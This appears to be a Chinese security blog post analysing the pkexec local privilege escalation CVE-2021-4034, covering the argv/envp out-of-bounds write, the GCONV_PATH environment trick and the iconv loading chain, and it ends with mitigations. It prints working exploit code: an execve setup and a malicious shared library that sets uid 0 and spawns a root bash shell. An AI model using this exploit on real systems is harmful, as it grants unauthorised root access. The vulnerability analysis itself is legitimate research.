<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2021-4034 pkexec 本地提權漏洞分析

    VSole2022-02-11 20:50:18

    CVE-2021-4034 pkexec 本地提權

    1.漏洞編號

    CVE-2021-4034

    2.影響范圍

    2021以前發行版

    3.漏洞詳情

    此漏洞exp利用流程上來說,可以分為兩個部分

    1.設置惡意環境變量

    2.通過惡意環境變量執行命令

    3.1 設置惡意環境變量

    pkexec 源碼地址

    https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c

    在533行,n被賦值為1

    610行,存在越界讀取,我們執行pkexec的時候,不傳參數,argv數組只有默認的0下標,1是不存在

    那么argv[1]是什么呢?

    當我們執行一個程序時,內核會將我們的參數、環境字符串和指針(argv 和 envp)復制到新程序堆棧的末尾;如下所示:

    |---------+---------+-----+------------|---------+---------+-----+------------|
    | argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
    |----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
         V         V                V           V         V                V
     "program" "-option"           NULL      "value" "PATH=name"          NULL
    

    因為argv和envp指針在內存中是連續的,那么argv[1]實際上指向的是envp[0]

    通過給argv[1] 賦值就能修改環境變量

    在632行,調用了g_find_program_in_path函數

    根據glib的源碼,這個函數是用來在PATH中搜索傳參的絕對路徑的,比如傳參id,返回是/usr/bin/id,然后在639行將返回值越界寫入了argv[1],也就是第一個環境變量

    根據這個流程,我們使用如下代碼,可以做到設置惡意環境變量

    shell創建文件夾 mkdir GCONV_PATH\=.,在目錄中創建test文件

    char *a_argv[]={ NULL };
    char *a_envp[]={
            "test",
            "PATH=GCONV_PATH=.",
            NULL
        };
    execve("/usr/bin/pkexec", a_argv, a_envp);
    

    經過g_find_program_in_path函數以后,在我們創建的畸形目錄中搜索到了test文件,此時envp[0]的的值為GCONV_PATH=./test

    惡意環境變量完成,然后這里就有一個問題,我們費勁巴拉搞半天,就為了把GCONV_PATH設置到環境變量,為什么不直接通過execve函數把環境變量傳進入呢?

    當時這里我也沒理解,后來看先知上的23R3F師傅的文章才搞懂了,linux 的動態連接器ld-linux-x86-64.so.2 會在特權程序執行的時候清除敏感環境變量。

    我們可以測試一下,id為沒有賦予suid權限,成功輸出了hello。

    pkexec有suid權限,LD_PRELOAD其實是沒有生效的。

    我個人的理解就是,在linux里面定義的這些敏感環境變量,觸發suid程序自己本身setenv了,否則外部是無效的


    3.2通過惡意環境變量執行命令

    走到670行,

    用for遍歷environment_variables_to_save作key,去環境變量中取值

    然后傳給函數validate_environment_variable,此函數是檢測shell是否合法的,需要通過這個函數來觸發關鍵函數g_printerrr

    有兩種方法,傳環境變量SHELL=test,或者走第二個if,XAUTHORITY=..

    g_printerr中間接調用了linux的iconv_open函數,調用鏈如下

    strdup_convert() <- glib/gmessages.c:1126
    g_convert_with_fallback() <- glib/gmessages.c:676
    g_convert() <- glib/gconvert.c:972
    open_converter() <- glib/gconvert.c:876
    g_iconv_open() <- glib/gconvert.c:637
    try_conversion() <- glib/gconvert.c:260
    iconv_open() <- glib/gconvert.c:208
    

    iconv_open函數會根據環境變量中的GCONV_PATH的目錄下的gconv-modules文件

    文件內容如下

    表示UTF-8轉換到LANYI編碼,需要用到lanyi.so,1表示表示轉換成本的數值。如果缺少該單詞,則假定成本為1,我們將惡意的lanyi.so放到當前目錄下,然后通過網上的一段demo來測試是否能正常加載so

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <iconv.h>
    
    int main(int argc, char **argv)
    {
      /* 目的編碼, TRANSLIT:遇到無法轉換的字符就找相近字符替換
       *          IGNORE  :遇到無法轉換字符跳過*/
      //char *encTo = "UNICODE//TRANSLIT";
      setenv("GCONV_PATH", "./", 1);
      char *encTo = "LANYI";
      /* 源編碼 */
      char *encFrom = "UTF-8";
    
      /* 獲得轉換句柄
       *@param encTo 目標編碼方式
       *@param encFrom 源編碼方式
       *
       * */
      iconv_t cd = iconv_open (encTo, encFrom);
      if (cd == (iconv_t)-1)
      {
          perror ("iconv_open");
      }
    
      /* 需要轉換的字符串 */
      char inbuf[1024] = "abcdef哈哈哈哈行"; 
      size_t srclen = strlen (inbuf);
      /* 打印需要轉換的字符串的長度 */
      printf("srclen=%d\n", srclen);
    
      /* 存放轉換后的字符串 */
      size_t outlen = 1024;
      char outbuf[outlen];
      memset (outbuf, 0, outlen);
    
      /* 由于iconv()函數會修改指針,所以要保存源指針 */
      char *srcstart = inbuf;
      char *tempoutbuf = outbuf;
    
      /* 進行轉換
       *@param cd iconv_open()產生的句柄
       *@param srcstart 需要轉換的字符串
       *@param srclen 存放還有多少字符沒有轉換
       *@param tempoutbuf 存放轉換后的字符串
       *@param outlen 存放轉換后,tempoutbuf剩余的空間
       *
       * */
      size_t ret = iconv (cd, &srcstart, &srclen, &tempoutbuf, &outlen);
      if (ret == -1)
      {
          perror ("iconv");
      }
      printf ("inbuf=%s, srclen=%d, outbuf=%s, outlen=%d\n", inbuf, srclen, outbuf, outlen);
      int i = 0;
      for (i=0; i<strlen(outbuf); i++)
      {
          printf("%x\n", outbuf[i]);
      }
    /* 關閉句柄 */
      iconv_close (cd);
    
      return 0;
    }
    

    hello被成功執行,我的so沒有實現gonv_init函數,所以報錯了

    exp:


    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    void gconv(){
        return;
    }
    
    void gconv_init() {
        setuid(0); 
        seteuid(0); 
        setgid(0);
        setegid(0);
        static char *a_argv[] = {"bash", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/bash", a_argv, a_envp);
        exit(0);
    }
    

    編譯gcc -o lanyi.so -shared -fPIC lanyi.c

    然后按照前面的流程,越界寫入環境變量即可,執行so文件

    3.3漏洞復現

    4.漏洞修復

    1.更新到polkit最新版本

    2.取消pkexec的suid權限

    5.參考文章

    https://saucer-man.com/information_security/876.html
    https://xz.aliyun.com/t/10870
    環境變量char函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在cgiHandler函數中,將用戶的HTTP請求參數作為環境變量,通過諸如LD_PRELOAD即可劫持進程的動態鏈接庫,實現遠程代碼執行。代碼首先拼接出用戶請求的cgi完整路徑并賦予cgiPath,然后檢查此文件是否存在以及是否為可執行文件。隨后代碼將cgiPath、envp、stdIn與stdOut作為參數傳入launchCgi函數中。
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    在一次滲透測試中,手工找了許久沒發現什么東西,抱著嘗試的心情打開了xray 果然xray還是挺給力的,一打開網頁的時候xray直接就掃描出了thinkphp 5.0.10 rce漏洞 直接使用命令執行payload,結果報出system函數被禁用
    一個應用程序運行時可能需要依賴于多個 dll 的函數才能完成功能,如果控制其中任一dll,那么便可以控制該應用程序的執行流程。
    在調試dlink的httpd時,漏洞可能發生在httpd通過fork+execute調用的cgibin中,其中httpd解析網絡請求中的字段,并且以環境變量的形式傳遞給cgibin進行處理。② 了解httpd是如何調用cgibin的,然后通過設置gdb調試子進程、catch exec,調試cgibin。在dir 850l的固件中,幾乎所有的cgi都是通過鏈接的形式到程序cgibin,cgibin根據請求的不同來采用不同的接口(函數)進行處理。
    CVE-2021-4034 pkexec 本地提權 1.漏洞編號 CVE-2021-4034 2.影響范圍 2021以前發行版 3.漏洞詳情 此漏洞exp利用流程上來說,可以分為兩個部分 1.設置惡意環境變量 2.通過惡意環境變量執行命令 3.1 設置惡意環境變量 pkexec 源碼地址 https://gitlab.freedesktop.org/polkit/polkit/-/bl
    DLL劫持的防御策略
    Apache httpd Server 2.4.49 版本引入了一個具有路徑穿越漏洞的新函數
    disable_functionsdisable_functions是php.ini中的一個設置選項,可以用
    CVE-2021-4034分析
    2023-08-28 09:45:48
    在 polkit 的 pkexec 工具中發現的本地權限升級漏洞,pkexec 應用程序是一個 setuid 工具,旨在允許非特權用戶按照預定義策略以特權用戶身份運行命令。當前版本的 pkexec 無法正確處理調用參數個數,并試圖將環境變量作為命令執行。攻擊者可以利用這一點,精心設計環境變量,誘使 pkexec 執行任意代碼。成功執行后,該攻擊可導致本地權限升級,賦予未授權用戶在目標計算機上的管理
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类